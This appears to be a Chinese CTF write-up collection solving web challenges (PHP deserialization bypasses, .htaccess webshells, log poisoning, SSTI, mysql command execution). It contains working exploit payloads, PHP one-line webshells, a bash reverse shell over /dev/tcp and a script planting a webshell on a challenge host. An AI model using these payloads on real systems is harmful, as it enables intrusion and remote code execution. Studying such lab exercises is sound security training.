所以我们可以使用含有__toString方法的PHP内置类(也就是原生类)来绕过,用的两个比较多的内置类就是Exception和Error,它们之中有一个__toString方法,当类被当作字符串处理时,就会调用这个函数
Error:用于PHP7、8,开启报错 Exceotion:用于PHP5、7、8,开启报错 Error是所有PHP内部错误类的基类,该类在PHP 7.0.0中开始引入的
发现会以字符串的形式输出当前错误,包含当前的错误信息(payload)以及当前报错的行号(2),而传入Error(‘payload’,1)中的错误代码’1’则没有输出出来,我们再看看两个参数的,怎么绕过MD5以及sha1
可见,$a和$b这两个对象本身是不同的,但是__toString方法返回的结果是相同的,这里之所以需要在同一行是因为__toString返回的数据包含当前行号
Exception类与Error的使用和结果完全一样,只不过Exception类适用于PHP5和7,而Error只适用于PHP7
我们可以将题目代码中的$syc和$lover分别声明为类似上面的内置类的对象,让这两个对象本身不同(传入的错误代码不同即可),但是__toString方法输出的结果相同即可
由于题目用preg_match过滤了小括号无法调用函数,所以我们尝试直接include “/flag” 将flag包含进来即可,由于过滤了引号,我们直接用url取反绕过即可
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } }$str = "?><?=include~" .urldecode ("%D0%99%93%9E%98" )."?>" ;$a =new Error ($str ,1 );$b =new Error ($str ,2 );$c = new SYCLOVER ();$c ->syc = $a ;$c ->lover = $b ;echo (urlencode (serialize ($c )));?>
咳咳咳
1 "?><?=include~" .urldecode("%D0%99%93%9E%98" )."?>" ;
这里解释一下,为什么要?>闭合掉,因为前面可能会有一些报错的信息,所以可以先闭合掉前面的东西,然后再来包含后面的是取反,因为在链里面所以需要用到解码,不用编码绕不过去正则,里面是/flag因为题刷多了都在根目录下面,不在的话一步步尝试即可
[PASECA2019]honey_shop
开局只有1336元,但是flag需要1337刀
抓购买的包,啥都没有,且只有一个包 四处点一点 点击大图片抓到一个包
一般这种都会存在任意文件读取 发现app.py
Not allowed 貌似是访问不了 在环境变量中发现了secret_key 有python有密钥,那么我们假定它是flask框架,而flask框架的session是可以破解的flask session破解脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload ): payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload)if __name__ == '__main__' : a = '.eJyrVkpKzEnMS05VsjI0MjfRUSooLUrOSCxOLVayilZyTE5MzkxUyMjPS61U0lFyKk3OLs9ITSyBi3ikFiUV4-D5ZOalpOZBubG1AFL4I6A.ZuGLlg.pcPBFM84GaO-5N2VGwuehPvsKXw' print (decryption(a.encode()))
然后再用加密工具加密,并改一下数值 替换原有的cookie
[XNUCA2019Qualifier]EasyPHP 这题源码不算长,但是有三个解,知识点很多
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } include_once ("fl3g.php" ); if (!isset ($_GET ['content' ]) || !isset ($_GET ['filename' ])) { highlight_file (__FILE__ ); die (); } $content = $_GET ['content' ]; if (stristr ($content ,'on' ) || stristr ($content ,'html' ) || stristr ($content ,'type' ) || stristr ($content ,'flag' ) || stristr ($content ,'upload' ) || stristr ($content ,'file' )) { echo "Hacker" ; die (); } $filename = $_GET ['filename' ]; if (preg_match ("/[^a-z\.]/" , $filename ) == 1 ) { echo "Hacker" ; die (); } $files = scandir ('./' ); foreach ($files as $file ) { if (is_file ($file )){ if ($file !== "index.php" ) { unlink ($file ); } } } file_put_contents ($filename , $content . "\nJust one chance" );?>
首先对当前访问的php页面文件index.php所在文件夹进行遍历,获取的结果为当前目录中的文件名和文件夹名,接着在结果筛选出文件名,对文件名进行判断,文件名不为“index.php”的文件都会被删除。
包含文件f13g.php,如果未使用GET方式对参数content和参数filename传值则显示当前PHP文件源码并结束程序。 接收GET方式对参数filename传值,并赋值给变量filename,并限制filename的值仅能使用小写字符和符号“.”,如果含有其他字符则会结束程序。
再次对当前目录下文件执行代码刚开始部分相同的筛选删除。 将变量filename作为文件名,变量content拼接上字符串”\nJust one chance”后作为文件内容写入该文件,但对于file_put_contents来说传入的文件名必须存在对应的文件才能写入,不存在对应文件时并不会创建。 这里并不能利用file_put_contents写入一句话木马,写入代码并不会当作php文件解析,在源代码配置中可以发现,设定了只能访问目录下的index.php时PHP引擎才会开启。 所以接下来我们可以用.htaccess
解法一: .htaccess中可以配置部分apache指令,这部分指令不需要重启服务端就能生效,利用.htaccess实际上就是利用apache中那些.htaccess有权限配置的指令。 也就是权限为下图中两者的指令 这里师傅们找到了error_log指令,可以用来写文件 error_log是依靠出现错误来触发写日志的,所以最好让error_log把所有等级的错误均写成日志,这样方便我们写入,而error_reporting就能设置写日志需要的错误等级 其中当参数为32767时,表示为所有等级的错误 那如何控制我们写入的内容呢?显然是通过报错,这里师傅们采用的是修改include函数的默认路径 在include函数中 我们可以直接include(“当前目录下文件名”)来使用就是因为定义了默认路径为”./“即当前目录,如果把这个值修改为不存在的路径时,include包含这个路径便会报错 像这样的错误信息便会被写入文件,如果把phpcode换一句话,便能够扩大使用面 最后我们还需要注意我们写入时,写入的内容会接上”\nJust one chance”,在.htaccess中会出现不符合的apache语法的字符时会导致错误,这时我们访问在这个错误.htaccess作用范围内的页面均会返回500 在apache中#代表单行注释符,而\代表命令换行,所以我们可以在末尾加上#,这个时候虽然换行但仍能被注释,效果如下图 我们可以在.htaccess文件的末尾加上#,此时再写入文件的这部分是,#\\nJust one chance
所以我们现在要写入的一个.htaccess文件,其包含内容如下图所示(error_log和include_path这种所填入的路径是不必用引号包裹的,但由于我们在此处利用时会使用其他正常路径时并不会出现的字符故进而会导致500,所以应该用引号包裹(单引号和双引号都是可行的))。
1 2 3 4 php_value include_path "./test <?php phpinfo ();?> " php_value error_log "/tmp/f13g.php" php_value error_reporting 32767 #\
值得注意的是经过不完全测试发现仅三个目录有增删文件的权限,这三个目录分别是/tmp/,/var/tmp/和/var/www/html/(即我们当前储存PHP代码的文件夹),其他目录由于没有增删文件的权限所以我们error_log也因无法在这些目录下创建日志文件而失效(对于tmp文件夹或许是出于临时储存的需求所以需要的权限较低)
此外我们传入的方式是GET方式,在URL中实现传入,所以得把这些内容进行必要URL编码(包括换行,因为.htaccess只能是一行一条命令)后再传入,换行替换为%0d%0a,#替换为%23,?替换为%3f
处理后完整的payload为
1 filename =.htaccess&content=php_value%20 include_path%20 "./test/<%3fphp%20phpinfo();%3f>" %0 d%0 aphp_value%20 error_log%20 "/tmp/fl3g.php" %0 d%0 aphp_value%20 error_reporting%2032767 %0 d%0 a%23 \
这里我用python提交显示500
传入后接着再访问一次(携带与不携带payload均是可行的),此时由于include_path的设定,include函数包含错误便会记录在日志中 但此时我们的payload并不可直接使用,在写入日志时符号”<”与”>”被进行了HTML转义,我们的php代码也就不会被识别 所以我们需要采用一种绕过方式,这里师傅们采用的是UTF-7编码的方式,先来看下wiki百科对UTF-7编码的解释:UTF-7 - 维基百科,自由的百科全书 (wikipedia.org)
其编码实际上可以看作是另外一种形式的base64编码,这就意味着对于一个标准的UTF-8编码后字符串,如”+ADs-“在去掉首尾的+和-后可以通过直接的base64编码得到对应字符(虽然编码原理会出现多余字符),但注意反向处理并不会得到UTF-7的编码的。 对于UTF-7编码来说,一个标准得UTF-7编码后字符串应该由+开头由-结尾,实际用于PHP解码时保留开头得+即可保证一个UTF-7编码后字符串被识别
对于UTF-7编码来说,最方便得编码和解码方式还是利用PHP自带的函数来处理(mb_convert_encoding需要PHP将mbstring库打开后才能使用,否则会提示函数未定义)。
回到符号”<”和”>”会被HTML转义的问题上来,我们可以使用其UTF-7编码的格式,同时开启PHP对UTF-7编码的解码,这样就能绕过了。 所以经过UTF-7编码后我们的payload
需要注意的是__halt_compiler函数用来终端编译器的执行,如果我们不带上这个函数的话我们的日志文件会导致500甚至崩掉(但本地复现却不会)
而URL编码处理后payload
1 ?filename= .htaccess&content= php_value include_path "/tmp/%2bADw-%3fphp eval($_GET[code]);__halt_compiler();" %0 d%0 aphp_value error_reporting 32767 %0 d%0 aphp_value error_log /tmp/fl3 g.php%0 d%0 a%23 \
接着我们再访问一次触发include包含的错误路径并记录在日志中,然后我们就需要再写入一个新的.htaccess文件设置让日志中我们的UTF-7编码能够被解码,从而我们PHP代码才能被被解析。
zend.multibyte决定是否开启编码的检查和解析,zend.script_encoding决定采用什么编码,所以我们需要写入的第二个.htaccess文件如下
URL编码后的payload:php_value include_path “/tmp”%0d%0aphp_value zend.multibyte 1%0d%0aphp_value zend.script_encoding “UTF-7”%0d%0a%23\
接着我们便可以来使用一句话来读取flag,需要注意的是题目源码说明会删除当前目录下非index.php的所有文件,所以我们再使用一句话之前必须得传一遍第二个.htaccess文件得内容(.htaccess中得设置会在PHP文件执行之前被加载,所以不用担心删除导致.htaccess在本次访问时不生效)
解法二: 在.htaccess中#表示注释符号得意思,所以我们可以将一句话放在#后面,再让PHP文件包含.htaccess,此外再使用符号”"换行得功能绕过对关键词file的检测,再让我们每次访问时均生成这样一个.htaccess,这样就能得到一个可以用在一件上的一句话了。 编码后
1 ?filename=.htaccess&content=php_value auto_prepend_fi\%0 d%0 ale ".htaccess" %0 d%0 a%23 <?php eval ($_POST [2 ]);?> \
或者
1 2 3 4 5 6 7 8 9 10 11 import requests htaccess = '''php_value auto_prepend_fi\\ le ".htaccess" %23<?php eval($_POST[2]);?>\\''' url = 'http://789668f4-b8fe-45c0-acc0-4352307a47eb.node5.buuoj.cn:81/?filename={}&content={}' .format ('.htaccess' , htaccess) r = requests.get(url=url)print (r.status_code)
解法三 采用了关于PHP正则回溯绕过的知识,具体内容可以参考关于PHP正则回溯次数绕过 - Article_kelp - 博客园 (cnblogs.com)
源码中有一段使用了正则匹配过滤,恰好这段正则匹配设置好后肯定会触发回溯
先在.htaccess把正则限制的配置改到最低 URL编码后的的整体payload为:?filename=.htaccess&content=php_value pcre.backtrack_limit 0%0d%0aphp_value pcre.jit 0%0d%0a%23 这个时候我们就能直接上传fl3g.php了,在fl3g.php中写上一句话之后就能为我们所用了。但是要注意传到当前目录是不行的,源码表明了会清除当前目录下非index.php文件,这里选择根目录下的tmp文件上传。
URL编码后的整体payload为:?filename=/tmp/fl3g.php&content=<%3fphp eval($_POST[‘cmd’]);%3f>
再上传一个.htaccess文件,修改设置include_path为/tmp
URL编码后的整体payload为:?filename=.htaccess&content=php_value include_path “/tmp”%0d%0a%23\
这样我们就能使用一句话了,但需要注意index.php会清楚当前目录下非index.php文件,所以连蚁剑是需要注意把上面那句修改include_path的payload也带上,保证每次访问都会生成一个新的.htaccess,这样即使会删除也没问题了
basectf2024 滤个不停 题目给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php highlight_file (__FILE__ );error_reporting (0 );$incompetent = $_POST ['incompetent' ];$Datch = $_POST ['Datch' ];if ($incompetent !== 'HelloWorld' ) { die ('写出程序员的第一行问候吧!' ); }$required_chars = ['s' , 'e' , 'v' , 'a' , 'n' , 'x' , 'r' , 'o' ];$is_valid = true ;foreach ($required_chars as $char ) { if (strpos ($Datch , $char ) === false ) { $is_valid = false ; break ; } }if ($is_valid ) { $invalid_patterns = ['php://' , 'http://' , 'https://' , 'ftp://' , 'file://' , 'data://' , 'gopher://' ]; foreach ($invalid_patterns as $pattern ) { if (stripos ($Datch , $pattern ) !== false ) { die ('此路不通换条路试试?' ); } } include ($Datch ); } else { die ('文件名不合规 请重试' ); }?>
payload
1 2 POST incompetent=HelloWorld&Datch=/var/ log /nginx/access.log
/var/log/nginx/access.log 是 Nginx 服务器的访问日志文件。它记录了每次客户端对服务器的请求信息,包括:
客户端 IP 地址:访问者的 IP。
访问时间:请求到达服务器的时间。
请求方法和 URL:客户端请求的 HTTP 方法(如 GET、POST)和 URL 路径。
HTTP 状态码:服务器响应的状态码(如 200 表示成功,404 表示未找到,500 表示服务器错误等)。
用户代理:客户端的浏览器信息(User-Agent),用于识别访问者的浏览器、操作系统等信息。
请求大小:请求的大小以及响应的字节数。
我们可以include包含这个路径,然后在ua头写入一句话木马,包含这个一句话木马的ua头,在index.php中解析日志文件中的一句话木马(我是这么理解的。。)
basectf2024 flag直接读取不就行了? 源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php highlight_file ('index.php' );error_reporting (0 );$J1ng = $_POST ['J' ];$Hong = $_POST ['H' ];$Keng = $_GET ['K' ];$Wang = $_GET ['W' ];$dir = new $Keng ($Wang );foreach ($dir as $f ) { echo ($f . '<br>' ); }echo new $J1ng ($Hong );?>
这题考察的是对php内置类的理解
内置类DirectoryIterator 是 PHP 内置的类,用于遍历文件系统中的目录。它提供了一个简单的方式来读取目录内容,包括文件和子目录。 例
1 2 3 4 $dir = new DirectoryIterator ('/path/to/directory' );foreach ($dir as $fileInfo ) { echo $fileInfo ->getFilename () . "<br>" ; }
内置类SplFileObject SplFileObject 是 PHP 标准库(SPL)中的一个类,用于读取、写入和操作文件。它是 SplFileInfo 类的子类,提供了更高级的文件操作方法,可以以面向对象的方式处理文件。 SplFileObject 可以用来打开文件并进行读取、写入、逐行遍历等操作 例
1 2 3 4 $file = new SplFileObject ('example.txt' , 'r' );while (!$file ->eof ()) { echo $file ->fgets (); }
先进行一次遍历
1 ?K=DirectoryIterator&W=/secret/
找到flag在/secret文件夹的f11444g.php
然后用伪协议读取内容
1 POST:J=SplFileObject&H=php:// filter/read=convert.base64-encode/ resource=/secret/ f11444g.php
[Fin] 1z_php 题目给出了源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file ('index.php' );$emp =$_GET ['e_m.p' ];$try =$_POST ['try' ];if ($emp !="114514" &&intval ($emp ,0 )===114514 ) { for ($i =0 ;$i <strlen ($emp );$i ++){ if (ctype_alpha ($emp [$i ])){ die ("你不是hacker?那请去外场等候!" ); } } echo "只有真正的hacker才能拿到flag!" ."<br>" ; if (preg_match ('/.+?HACKER/is' ,$try )){ die ("你是hacker还敢自报家门呢?" ); } if (!stripos ($try ,'HACKER' ) === TRUE ){ die ("你连自己是hacker都不承认,还想要flag呢?" ); } $a =$_GET ['a' ]; $b =$_GET ['b' ]; $c =$_GET ['c' ]; if (stripos ($b ,'php' )!==0 ){ die ("收手吧hacker,你得不到flag的!" ); } echo (new $a ($b ))->$c (); }else { die ("114514到底是啥意思嘞?。?" ); }$shell =$_POST ['shell' ];eval ($shell );?>
ctype_alpha表示字符检查a-zA-Z,如果匹配到了,则结束程序
下面的正则可以用回溯绕过
1 echo (new $a($b)) -> $c();
利用点在这句话中 我们可以调用一个内容类来实现文件读取 我们这里用的内部类是SplFileObject payload
1 2 3 4 GET ?e[m.p =114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString POST 回溯a*1000001 +HACKER
__soString()方法用来返回文件的第一行内容,用来返回字符串 这里也可以用python脚本来提交
1 2 3 import requests res = requests.post ("http://101.37.149.223:32943/index.php?e[m.p=114514.1&a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString" ,data = {"try" :"-" *1000001 +"HACKER" })print (res.text)
basectf2024 Back to the future 主页上并没有可利用的信息,发现有robots.txt robots.txt提示有git泄露 这里用githacker来过去.git的全部内容,不知道是什么原因,网上找的很多版本的githack都无法扫出文件,只有官方wp给的githacker可以扫出来.git的全部内容githacker 利用githacker把这个项目拉下来
1 githacker --url http:// challenge.basectf.fun:42433 / --output ./ back-future
我们可以再用git log来查看git历史
可以看到9d85f10e0192ef630e10d7f876a117db41c30417这个提交,我们可以切到那一次提交
1 git checkout 9 d85f10e0192ef630e10d7f876a117db41c30417
可以看到flag.txt出现了,读取就能看到flag
basectf2024 RCE or Sql Inject 题目源码
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|;|@|del|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); }if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); }$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
和only one sql那道题比较相似,多禁用了一些参数,sql注入基本没可能了 hint 题目是一个比较冷门的考点,mysql命令行程序的命令执行,常见于mysql有suid时的提权 mysql命令行下输入?时反回的信息,或是在题目中也可以 其中注意到一行
1 system (\!) Execute a system shell command.
注:貌似只有linux下有这个选项,我的windows环境下没有这个选项 意思是使用system关键字或\!可以直接通过mysql命令行执行一个system shell命令,如下所示 那么问题就简单了,使用换行符绕过注释的限制,使用system(反斜杠被第二个if过滤了)执行命令,env可以直接出flag,也可以弹shell(弹shell测试失败,本地试过语句没问题) 反弹shell语句
1 ?sql =%0asystem bash -c 'bash -i >& /dev/tcp/0.0.0.0/6666 0>&1'
[HNCTF 2022 Week1]easy_html
1 Hm_lvt_648a44a949074de73151ffaa0a832aec =1724049171 ,1725452705 ,1725455993 ,1725517791 ; flagisin=.%2 Ff14g.php
进入f14g.php 电话号码一般都为11为,而这里给了限制最多能输入10位,导致每次输入都会报错 这里我们改一下它的前端,改最大能输入11位 输入11位的手机号,flag就出来了
[NISACTF 2022]checkin 题目给出了源码 看似很简单,只需要输入需要的字符即可 然而输入之后却没有输出flag 代码复制到本地后用vscode打开后发现有很多unicode字符 如上图,get参数按照显示的样子提交即可 urlencode后的代码为
1 ahahahaha%3 Djitanglailo%26 %E2 %80 %AE %E2 %81 %A6Ugeiwo %E2 %81 %A9 %E2 %81 %A6cuishiyuan %3 D%E2 %80 %AE %E2 %81 %A6 +Flag%21 %E2 %81 %A9 %E2 %81 %A6N1SACTF
由于=和&也被url加密了,我们手动解密一下,不然提交不了 改为
1 ahahahaha= jitanglailo&%E2 %80 %AE %E2 %81 %A6Ugeiwo %E2 %81 %A9 %E2 %81 %A6cuishiyuan = %E2 %80 %AE %E2 %81 %A6 +Flag%21 %E2 %81 %A9 %E2 %81 %A6N1SACTF
[GKCTF 2020]cve版签到 解法一: 页面中只有一个超链接 点进去后为这样 第一感觉是ssrf 这里抓一下包 发现hint 又出现了tip 那改改host,这里改下host的端口试试
解法二: 看这题的题目为cve知道这是一个cve漏洞,漏洞为cve-2020-7006 ,与get_headers()函数和%00截断有关系 所以要结合cve-2020-7006配合%00截断
[NISACTF 2022]babyupload 文件上传题
不管上传什么文件,都无法上传,连正常的png文件都无法上传
查看源码发现/source目录,进入目录自动下载了www.zip源码 app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuid app = Flask(__name__) SCHEMA = """CREATE TABLE files ( id text primary key, path text ); """ def db (): g_db = getattr (g, '_database' , None ) if g_db is None : g_db = g._database = sqlite3.connect("database.db" ) return g_db@app.before_first_request def setup (): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA)@app.route('/' ) def hello_world (): return """<!DOCTYPE html> <html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"> </form> <!-- /source --> </body> </html>""" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True )@app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid)@app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read()if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
我们发现我们上传的file.filename不能有.且文件名前会拼接一个前缀upload/ 这里需要用到一个os.path.join()的绝对路径拼接漏洞
os.path.join(path,*paths)漏洞 os.path.join(path,paths)函数用于将多个文件路径连接成一个组合的路径,第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后,这个函数有一个少有人知的特性,*如果拼接的某个路径以/开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径 由此,当上传的文件名为/flag,上传后通过uuid访问文件后,查询到的文件名是/flag,那么进行路径拼接时,upload/将被删除,读取到的就是根目录下的flag文件 如果我们把res[0]=/flag,那么我们就会得到flag路径
[羊城杯 2020]easycon 进入后是一个Ubuntu的默认页面,一般说文件名是index.html 我们输入index.php看看 出现一个弹窗,参数是cmd 可以命令执行 蚁剑连接一下 发现哪都找不到flag,但是/var/www/html下有一个bbbbbb.txt很可疑 内容应该为base64编码 解码后发现有JFIF,这是jpg的文件头,把解码后的代码下载为文件
basectf2024 Sql Inject or RCE 源码
1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );$sql = $_GET ['sql' ];if (preg_match ('/se|ec|st|;|@|delete|into|outfile/i' , $sql )) { die ("你知道的,不可能有sql注入" ); }if (preg_match ('/"|\$|`|\\\\/i' , $sql )) { die ("你知道的,不可能有RCE" ); }$query = "mysql -u root -p123456 -e \"use ctf;select 'ctfer! You can\\'t succeed this time! hahaha'; -- " . $sql . "\"" ;system ($query );
这道题和上一道题RCE or Sql Inject几乎没变,仅仅变化了一点过滤,防止了system的命令执行,还将del改成了delete 既然过滤有变化,那么可以从变化下手,del开头的sql关键字并不多,搜一搜就有,chatgpt也会告诉 第一个delete被禁用了,第三个看起来好像用不上,因为题目没有预处理的语句,那么关键的就是第二个DELIMITER 网上关于DELIMITER的解释有很多,基本意思就是可以利用delimiter来更改一条sql语句的结束符,如图 那么这道题就可以用这种方法来打堆叠注入,由于select被禁用无法查看flag,可以使用handler读表的方式来绕过,需要注意的是handler读的时候read first中first被禁用,可以使用read next来绕过
basectf2024 Jinja Mark 如题可知有两个路由,一个是/index,一个是/flag。/index下是一个过滤了花括号的ssti注入,暂时无法注入。先前往/flag,用bp爆破出幸运数字然后上传会得到部分源码。 所以幸运数字是5346
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 BLACKLIST_IN_index = ['{' ,'}' ]def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)@app.route('/magic' ,methods=['POST' , 'GET' ] ) def pollute (): if request.method == 'POST' : if request.is_json: merge(json.loads(request.data), instance) return "这个魔术还行吧" else : return "我要json的魔术" return "记得用POST方法把魔术交上来"
根据源码可知在/magic路由下可以进行原型链污染以及/index中存在的黑名单。随后在/magic路由下污染jinja的语法标识符,将”,“修改为”<<”,”>>”或者其它 不影响ssti注入的符号,具体内容如下,传入后去/index进行无过滤的ssti注入即可
1 2 3 4 5 6 7 8 9 10 11 { "__init__" : { "__globals__" : { "app" : { "jinja_env" :{"variable_start_string" : "<<","variable_end_string ":" >>" } } } } }
payload
1 flag =<<'' .__class__ .__bases__ [0 ].__subclasses__ ()[132 ].__init__ .__globals__ ['popen' ]('cat f*' ).read()>>
湖南省赛2024 textme 第一次完整的做rust题,环境调了好久 题目给了附件源码,附件为一个完整的rust项目 文件中有用的差不多就是src下的rs代码了 先看看源代码 auth.rs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 use axum::{ async_trait, extract::FromRequestParts, http::{request::Parts, StatusCode}, response::{IntoResponse, Response}, Json, RequestPartsExt, };use axum_extra::{ headers::{authorization::Bearer, Authorization}, TypedHeader, };use jsonwebtoken::{decode, DecodingKey, EncodingKey, Validation};use once_cell::sync::Lazy;use serde::{Deserialize, Serialize};use serde_json::json;#[async_trait] impl <S> FromRequestParts<S> for Claims where S: Send + Sync , { type Rejection = AuthError; async fn from_request_parts (parts: &mut Parts, _state: &S) -> Result <Self , Self ::Rejection> { let TypedHeader (Authorization (bearer)) = parts .extract::<TypedHeader<Authorization<Bearer>>>() .await .map_err (|_| AuthError::InvalidToken)?; let token_data = decode::<Claims>(bearer.token (), &KEYS.decoding, &Validation::default ()) .map_err (|_| AuthError::InvalidToken)?; Ok (token_data.claims) } }impl IntoResponse for AuthError { fn into_response (self ) -> Response { let (status, error_message) = match self { AuthError::WrongCredentials => (StatusCode::UNAUTHORIZED, "Wrong credentials" ), AuthError::MissingCredentials => (StatusCode::BAD_REQUEST, "Missing credentials" ), AuthError::TokenCreation => (StatusCode::INTERNAL_SERVER_ERROR, "Token creation error" ), AuthError::InvalidToken => (StatusCode::BAD_REQUEST, "Invalid token" ), }; let body = Json (json!({ "error" : error_message, })); (status, body).into_response () } }#[derive(Debug, Serialize, Deserialize)] pub struct Claims { pub username: String , exp: usize , }impl Claims { pub fn new (username: String ) -> Self { Self { username, exp: 10000000000 , } } }#[derive(Debug, Serialize)] pub struct AuthBody { access_token: String , token_type: String , }#[derive(Debug)] pub enum AuthError { WrongCredentials, MissingCredentials, TokenCreation, InvalidToken, }pub static KEYS: Lazy<Keys> = Lazy::new (|| { let secret = std::env::var ("SECRET_KEY" ).unwrap_or ("secret" .to_owned ()); Keys::new (secret.as_bytes ()) });pub struct Keys { pub encoding: EncodingKey, decoding: DecodingKey, }impl Keys { pub fn new (secret: &[u8 ]) -> Self { Self { encoding: EncodingKey::from_secret (secret), decoding: DecodingKey::from_secret (secret), } } }
main.rs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 use std::path::PathBuf;use crate::auth::Claims;use auth::{AuthError, KEYS};use axum::{ http::StatusCode, response::{Html, IntoResponse, Response}, routing::{get, post}, Form, Router, };use jsonwebtoken::encode;use jsonwebtoken::Header;use once_cell::sync::Lazy;use serde::Deserialize;use tera::Context;pub mod auth;#[tokio::main] async fn main () { tracing_subscriber::fmt::init (); let app = Router::new () .route ("/" , get (root)) .route ("/text" , post (text)) .route ("/login" , post (login)) .route ("/read" , post (authorization)); let listener = tokio::net::TcpListener::bind ("0.0.0.0:80" ).await .unwrap (); axum::serve (listener, app).await .unwrap (); }async fn root () -> &'static str { "Hello, World!" }#[derive(Deserialize, Debug)] #[allow(dead_code)] struct ReceiveLogin { name: String , }async fn login (Form (data): Form<ReceiveLogin>) -> Response { if data.name != "admin" { let claims = Claims::new (data.name); let token : Result <String , AuthError> = encode (&Header::default (), &claims, &KEYS.encoding) .map_err (|_| AuthError::TokenCreation); match token { Ok (token) => (StatusCode::OK, Html::from (token)).into_response (), Err (e) => e.into_response (), } } else { (StatusCode::OK, Html::from ("NONONO" .to_owned ())).into_response () } }#[derive(Deserialize, Debug)] #[allow(dead_code)] struct ReceiveText { text: String , }const BLACK_LIST: [&str ; 7 ] = ["{{" , "}}" , "FLAG" , "REPLACE" , "+" , "__TERA_ONE_OFF" , "SET" ];async fn text (Form (data): Form<ReceiveText>) -> (StatusCode, Html<String >) { let text = data.text; let check_text = text.to_ascii_uppercase (); for word in BLACK_LIST.iter () { if check_text.contains (word) { return (StatusCode::BAD_REQUEST, Html::from ("Hakcer!" .to_owned ())); } } if text.len () > 3000 { return (StatusCode::BAD_REQUEST, Html::from ("Too long!" .to_owned ())); } let mut context = Context::new (); let content = tera::Tera::one_off (&text, &mut context, true ); match content { Ok (content) => (StatusCode::OK, Html::from (content)), Err (e) => (StatusCode::BAD_REQUEST, Html::from (e.to_string ())), } }#[derive(Deserialize, Debug)] #[allow(dead_code)] struct ReceivePath { path: String , }const PATH_PREFIX: Lazy<PathBuf> = Lazy::new (|| PathBuf::new ().join ("./static" 